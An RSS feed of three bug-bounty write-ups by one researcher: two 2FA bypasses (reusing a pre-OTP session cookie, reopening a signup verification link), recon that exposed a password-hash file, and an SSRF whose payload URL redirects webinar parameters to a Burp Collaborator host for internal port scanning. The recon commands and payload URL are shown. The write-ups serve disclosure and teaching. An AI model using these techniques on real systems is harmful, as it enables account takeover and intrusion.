<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by S Rahul on Medium]]></title>
        <description><![CDATA[Stories by S Rahul on Medium]]></description>
        <link>https://medium.com/@srahulceh?source=rss-32681802ed60------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jVAJyqk2vY72U0Q3YUtbgA.jpeg</url>
            <title>Stories by S Rahul on Medium</title>
            <link>https://medium.com/@srahulceh?source=rss-32681802ed60------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 07:27:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@srahulceh/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Behind the Scenes of a Security Bug: The Perils of 2FA Cookie Generation]]></title>
            <link>https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b?source=rss-32681802ed60------2</link>
            <guid isPermaLink="false">https://medium.com/p/496d9519771b</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[S Rahul]]></dc:creator>
            <pubDate>Sat, 22 Jul 2023 19:10:50 GMT</pubDate>
            <atom:updated>2023-07-22T19:10:50.405Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone! I am S Rahul, a passionate Cyber Security Analyst and Bug Bounty Hunter. With 2+ years of experience in the field, I specialize in privacy and data protection, security testing, and vulnerability scanning. My expertise extends to various GRC benchmarks like ISMS, BCMS, PIMS, GDPR, PCI, DSS, etc. Additionally, I hold certifications in CEH, RHCSA, and ISO. Excited to share my knowledge with you all! 🔒🌐🚀</p><p>Today, I’m going to talk about my most recent discovery, which is called “<strong>Behind the Scenes of a Security Bug: The Perils of 2FA Cookie Generation</strong>” or “<strong>2FA Bypass</strong>.”</p><p>A faulty implementation of 2FA during the login process is the basis of the security problem I found. When 2FA is enabled for an account, the system seems to request the 2FA One-Time Password (OTP) upon login, giving the impression that the authentication process is secure. Surprisingly, though, it simply generates a login cookie without checking the user’s 2FA OTP.</p><p>Suppose i have successfully enabled the 2FA on target.com and now when i enter my credentails and click on the login and capture th request in burpsuite it shows the cookie as : <strong>Cookie: COOKIE_CONSENT=TRUE; PHPSESSID=j03dshgdjsjh76jhjsd6q</strong></p><p>Now its asking me for 2FA otp and now what i have done i referesh the page and capture the request in burpsuite and now its shows the cookie as <br>Cookie: <strong>COOKIE_CONSENT=TRUE; PHPSESSID=asqhlckhhkd87jdjgbah76ndhas; REMEMBER_ME=sJrrhooLjYc%khskdh35kahkiutXN7IT0Yv03</strong></p><p>Now i got confirmation that its generates the login account cookie before completeing the 2FA Process due to that i have already one update profile request in my burpsuite and now i have replaced the cookie and send the request and it gives status:{ true }</p><p>I was able to update,delete,edit account without 2FA process</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c_bNPW673V90UwDziErTIA.png" /></figure><p><strong>2FA Bypass via Verification Links: </strong>Let’s proceed with another <strong>2FA bypass</strong>, this time on a different target — let’s assume it’s <strong>example.com.</strong></p><p>The web application flow starts with the signup process, during which it sends a verification link to the user’s email. This link is used to verify the email address.</p><p>After signing up, I logged into the account and successfully enabled 2FA from the profile settings.</p><p>Next, I opened a new browser and entered the credentials to log in to the account. However, instead of being taken to the dashboard immediately, I was redirected to the 2FA OTP page, prompting me to enter the 2FA code.</p><p>At this point, I remembered the verification link sent during signup. Curious to see what would happen, I copied the verification link and opened it in the same browser. Surprisingly, the system redirected me straight to the dashboard, bypassing the 2FA OTP requirement.</p><p>This discovery allowed me to bypass the 2FA process through the use of the verification link.This behavior indicates a serious flaw in the application’s logic, as it defeats the purpose of 2FA, which is to add an additional layer of security to the login process.</p><p>Rewarded with $$$ for each bug🤑💸</p><p>Thanks for reading guys.</p><p>Don’t forget to follow and connect with me through <a href="https://www.instagram.com/7srambo/"><strong><em>Instagram</em></strong></a>,<strong> </strong><a href="https://www.linkedin.com/in/7srambo/"><strong>LinkedIn</strong></a>, <a href="https://twitter.com/7srambo"><strong><em>Twitter</em></strong></a> .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=496d9519771b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty { How I found an Sensitive Information Disclosure( Reconnaissance ) }]]></title>
            <link>https://systemweakness.com/bug-bounty-how-i-found-an-sensitive-information-disclosure-reconnaissance-542daf10dd19?source=rss-32681802ed60------2</link>
            <guid isPermaLink="false">https://medium.com/p/542daf10dd19</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[S Rahul]]></dc:creator>
            <pubDate>Sun, 18 Sep 2022 19:32:46 GMT</pubDate>
            <atom:updated>2022-09-20T10:13:41.532Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, Welcome Back!</p><p>I am<a href="https://www.linkedin.com/in/7srambo/"> <strong>S Rahul</strong></a>, working as a <strong>Information Security Analyst</strong> at NUK 9 Auditors and A Bug bounty hunter at Hackerone, Bugcrowd etc. A well-rounded IT professional with 2+ years of cyber security experience.</p><p>Today I am going to discuss my recent finding, which is Sensitive Information Disclosure through Reconnaissance.</p><p>There are two ways to get the origin IP’s and internet IP’s of an organization:-</p><ol><li>Manual approach using<a href="https://search.censys.io/"> <strong>Censys</strong></a>,<a href="https://www.shodan.io/dashboard"> <strong>Shodan</strong></a>,<a href="https://securitytrails.com/"> <strong>Securitytrails</strong></a>,<a href="https://fofa.info/"> <strong>FOFA</strong></a>,<a href="https://www.zoomeye.org/"> <strong>Zoomeye,</strong></a> etc. To learn more about the manual approach, you can refer to this<a href="https://geekflare.com/find-real-ip-origin-address-of-website/"> blog</a>.</li><li>Automation approach using the<a href="https://github.com/projectdiscovery/uncover"> <strong>uncover</strong></a> tool</li></ol><p><strong>What is uncover tool:</strong></p><p>The uncover tool is a go wrapper that uses well-known search engine APIs to find exposed hosts on the internet quickly.It is built with automation in mind, so you can query it and utilize the results with your current pipeline tools. the uncover tool can <strong>Query multiple search engines</strong> at once. Available Search engine support such as <strong>Shodan</strong>, <strong>Censys</strong>, <strong>FOFA</strong>, <strong>Hunter</strong>, <strong>Quake</strong>, <strong>Zoomeye</strong> etc. To learn more about uncover and the installation process, you can refer to<a href="https://github.com/projectdiscovery/uncover"> uncover</a>.</p><p><strong>Let’s begin with our main topic, i.e., how I found a Sensitive Information Disclosure through Reconnaissance.</strong></p><p>I have selected a bug bounty program through<a href="https://github.com/sushiwushi/bug-bounty-dorks/blob/master/dorks.txt"> <em>Google Dorks</em></a><em>. The Google Dork which I used is “</em><strong>responsible disclosure bounty r=h:uk</strong>”. Due to their responsible disclosure policy, I can’t disclose the program. Let us call the domain as target.com.</p><p>Before starting the manual pentesting, I will give some good time for good reconnaissance. I have collected all live domains and on different terminals I ran different tools such as nmap,<a href="https://github.com/rverton/webanalyze"> webanalyze</a>,<a href="https://github.com/tomnomnom/waybackurls"> waybackurls</a>,<a href="https://github.com/projectdiscovery/naabu"> naabu</a>,<a href="https://github.com/Dheerajmadhukar/4-ZERO-3.git"> 403-bypass</a> tool on 403 forbidden domains,<a href="https://github.com/projectdiscovery/nuclei"> nuclei</a> etc.. But I did not find anything interesting.</p><p>Now I ran the<a href="https://github.com/projectdiscovery/uncover"> uncover</a> tool on target.com.</p><p><strong>uncover -q “target.com” -e censys,fofa,shodan,shodan-idb | httpx | tee ips.txt</strong></p><p><strong>cat ips.txt</strong></p><p>After a few seconds, I got some IP’s and I started opening the IP’s manually in the web browser. We can use the<a href="https://chrome.google.com/webstore/detail/open-multiple-urls/oifijhaokejakekmnjmphonojcfkpbbh?hl=en"> Open Multiple URLs</a> extension to open all IP addresses one at a time. To save our time!</p><p>After reviewing all the IP’s, I got one IP that contained some juicy files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*7iE2I5xfqaEWgCnE1On_qw.png" /></figure><p>the <strong>password_control</strong> file contains “Sensitive Information such as usernames and hash passwords of there some internal system”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*OmYX4Xw3lnUgXyQYSRSknQ.png" /></figure><p>Now we have to verify whether this IP belongs to the same organization or not. I quickly ran the whois command ( <strong>whois ip</strong> ) but I did not get much information, so I opened the IP in the Firefox browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vT7BmoH1H0sbR5e4ygYfcg.png" /></figure><p>In the Firefox Browser, I can see it is asking for credentials to access it 🤣 but In Chrome browser it gave me direct access. In firefox it showing some domain 🤔 but i have searched the domain and visited there home page and there is bug bounty page of that site, I clicked on it and it redirected to bug bounty policy page of my target.com</p><p>I got confirmation that IP belongs to the organization.I quickly made the poc and reported it to the bug bounty program.</p><p><strong>Reported :</strong> Sept 5, 2022</p><p><strong>Response :</strong> Sept 9, 2022 <em>Hi,</em></p><p><em>​Thank you for your help in finding this vulnerability.</em></p><p><em>We are ready to pay $$$. Please send us a link to the $$$ PayPal invoice, and we will pay it.</em></p><p><strong>Tip</strong>: Always open the IP address in chrome and as well as firefox.Sometimes you will get some information from different browser</p><p>Thanks for reading guys.</p><p>Don’t forget to follow and connect with me through <a href="https://www.instagram.com/7srambo/"><strong><em>Instagram</em></strong></a>,<strong> </strong><a href="https://www.linkedin.com/in/7srambo/"><strong>LinkedIn</strong></a>, <a href="https://twitter.com/7srambo"><strong><em>Twitter</em></strong></a> .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=542daf10dd19" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/bug-bounty-how-i-found-an-sensitive-information-disclosure-reconnaissance-542daf10dd19">Bug Bounty { How I found an Sensitive Information Disclosure( Reconnaissance ) }</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Bounty { How I found an SSRF ( Reconnaissance ) }]]></title>
            <link>https://systemweakness.com/bug-bounty-how-i-found-an-ssrf-reconnaissance-7b1821a1b1fd?source=rss-32681802ed60------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b1821a1b1fd</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[S Rahul]]></dc:creator>
            <pubDate>Tue, 06 Sep 2022 20:49:09 GMT</pubDate>
            <atom:updated>2022-09-09T06:22:24.909Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, I am <a href="https://www.linkedin.com/in/7srambo/"><strong>S Rahul</strong></a>, working as a <strong>Information Security Analyst</strong> at NUK 9 Auditors and A Bug bounty hunter at Hackerone, Bugcrowd etc. A well-rounded IT professional with 2+ years of cyber security experience.</p><p>Today I am going to discuss my recent finding, which is Server-Side Request Forgery (SSRF) to Internal Port Scanning.</p><p><strong>What is SSRF ?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/0*Ic6OWo1nBWu6eYTL.png" /></figure><p><strong>Server-side request forgery (also known as SSRF) </strong>is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker’s choosing. In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization’s infrastructure, or to external third-party systems. SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorised actions. These trust relationships might exist in relation to the server itself, or in relation to other back-end systems within the same organization. To learn more, you can refer to the <a href="https://portswigger.net/web-security/ssrf">PortSwigger Web Security Academy</a>.</p><p><strong>What exactly is WaybackURLs (Wayback Machine)?</strong></p><p>Web crawling in security testing is an important aspect as this is the process of indexing data on web pages by using automated scripts or crawling programs. These scripts or crawling programmes are known as web crawlers, spiders, spider bots, and crawlers. <strong>Waybackurls </strong>is also a Golang-based script or tool used for crawling domains and fetching known URLs from Wayback Machines, also known as Archives for *.target.com.To learn more about waybackurls and the installation process, you can refer to <a href="https://github.com/tomnomnom/waybackurls">waybackurls</a>.</p><p><strong>Let’s begin with our main topic i.e. how I found an SSRF using Reconnaissance.</strong></p><p>I have selected a bug bounty program through <a href="https://github.com/sushiwushi/bug-bounty-dorks/blob/master/dorks.txt"><em>Google Dorks</em></a>. Due to their responsible disclosure policy, I can’t disclose the program. Let us call the domain as target.com.</p><p>First, I did subdomain enumeration through the <a href="https://github.com/projectdiscovery/subfinder">subfinder tool</a> and saved the output in domains.txt. After that, I ran the <a href="https://github.com/tomnomnom/httprobe">httpprobe tool</a> on domains.txt to get the live domains and saved the output in live_domains.txt.</p><p><strong><em>subfinder -d target.com &gt; domains.txt</em></strong></p><p><strong><em>cat domains.txt | httprobe &gt; live_domains.txt</em></strong></p><p>Now I run the following command to collect web crawling urls through waybackurls.</p><p><strong><em>cat live_domains.txt | waybackurls &gt; urls.txt</em></strong></p><p>Once I collected all the urls in urls.txt , I ran the <a href="https://github.com/projectdiscovery/httpx">httpx tool</a> to identify the status, title, tech, etc. and saved the output in status.txt.</p><p><strong><em>cat urls.txt | httpx — status-code-title &gt; status.txt</em></strong></p><p>Now I have sorted all the URLs that are live and accessable, and I have removed all the non-working URLs. That makes my recon simple.</p><p>I opened the status.txt and started looking for sensitive information, parameters, usernames, passwords, tokens, sensitive files, etc.</p><p><strong><em>Keywords I used : password, username, mail.com, token, access_token, url=, redirect_url=, api, id=, accessUrl=, payment, etc.</em></strong></p><p>After 30 minutes of crawling and sorting, I got one interesting url that is like</p><p><a href="https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&amp;displayName=mack&amp;accessToken=sda3-q23aed-aerae&amp;peerId=123123-321as-waaew-ads&amp;api">https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&amp;displayName=mack&amp;accessToken=sda3-q23aed-aerae&amp;peerId=123123-321as-waaew-ads&amp;api</a> Event=https://example.com/api/meet&amp;accessUrl=https://example.com/api/accessCheck/&amp;itisparticipant=true&amp;nameScreenDisabled=true&amp;startWithFS=true&amp;controlsDisabled=true</p><p>My attention was drawn to the parameters “<strong>apiEvent</strong>” and “<strong>accessUrl</strong>””</p><p>Now i have replaced the parameter urls with my Burp collabartor server</p><p>After replacing with burp collab server, Url look like this:</p><p><a href="https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&amp;displayName=Tom&amp;accessToken=sda3-q23aed-aerae&amp;peerId=123123-321as-waaew-ads&amp;apiEvent=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/meet&amp;accessUrl=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/accessCheck/&amp;itisparticipant=true&amp;nameScreenDisabled=true&amp;startWithFS=true&amp;controlsDisabled=true">https://subdomain.target.com/webinar/?roomId=1ec1f5d8-0887-4fbb-a3dc-1b9f94bc04dc&amp;displayName=Tom&amp;accessToken=sda3-q23aed-aerae&amp;peerId=123123-321as-waaew-ads&amp;apiEvent=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/meet&amp;accessUrl=https://rni1e5x29hzirz847fkvnolaf1lr9g.burpcollaborator.net/api/accessCheck/&amp;itisparticipant=true&amp;nameScreenDisabled=true&amp;startWithFS=true&amp;controlsDisabled=true</a></p><p>Now I opened the url in the browser and I got DNS and HTTP on my collabartor server with their internal IP</p><p>Now i have done whois to confirm whether this IP address is of their organisation or a third-party. <br><strong>whois ip</strong></p><p>I got confirmation that the IP I got is the internal IP of the organization.</p><p>Now quickly to increase the impact, I have fired my burpsuite and 1. captured the same request in burpsuite &gt; 2.sended it to the intruder &gt;3. selected a pitchfork attack type &gt; 4.position payload added at ended of 2 urls &gt;5.Set the loop request to 100 &gt; 6.Started the attack &gt; 7. I got http,dns,smtp requests</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whMrSTRtfKBJRfCaIKRA7g.png" /><figcaption><strong>Step 1</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sn1oAOqH3Lmc3jR5e-PxNw.png" /><figcaption><strong>Step 2,3,4</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PqblkV9fKKFeqvpes7x5Iw.png" /><figcaption><strong>Step 4,5</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F4rcDmwihvBmAqfvOQd7qQ.png" /><figcaption>Step 6</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9hPQdq5KEuVQR4t_m_9nTQ.png" /><figcaption><strong>Step 7</strong></figcaption></figure><p>Now I got DNS and HTTP requests, as well as an SMTP request in my Burp collab server, confirming that I was able to perform internal port scanning using the SSRF vulnerability.</p><p>I quickly made the poc and reported it to the bug bounty program.</p><p><strong>Reported :</strong> Aug 5, 2022</p><p><strong>Response :</strong> Aug 12, 2022 <em>Hello!<br>We would like to ask you, what is the best way to exploit this vulnerability? What consequences do you see in using this vulnerability?<br>is it just information disclosure or it can be exploited somehow else?</em></p><p><strong>Reported:</strong> <em>Given a brief information, what an attacker can do by this vulnerability and what are possible ways to exploit it such as Consequences of the SSRF vulnerability :- SSRF leads to Internal IP disclosure, SSRF leads to Internal Port scanning</em></p><p><strong>Response:</strong> Aug 18, 2022 Triage and <em>Rewarded with $$$ bounty</em></p><p>Thanks for reading guys.</p><p>Don’t forget to follow and connect with me through <a href="https://www.instagram.com/7srambo/"><strong><em>Instagram</em></strong></a>,<strong> </strong><a href="https://www.linkedin.com/in/7srambo/"><strong>LinkedIn</strong></a>, <a href="https://twitter.com/7srambo"><strong><em>Twitter</em></strong></a> .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b1821a1b1fd" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/bug-bounty-how-i-found-an-ssrf-reconnaissance-7b1821a1b1fd">Bug Bounty { How I found an SSRF ( Reconnaissance ) }</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>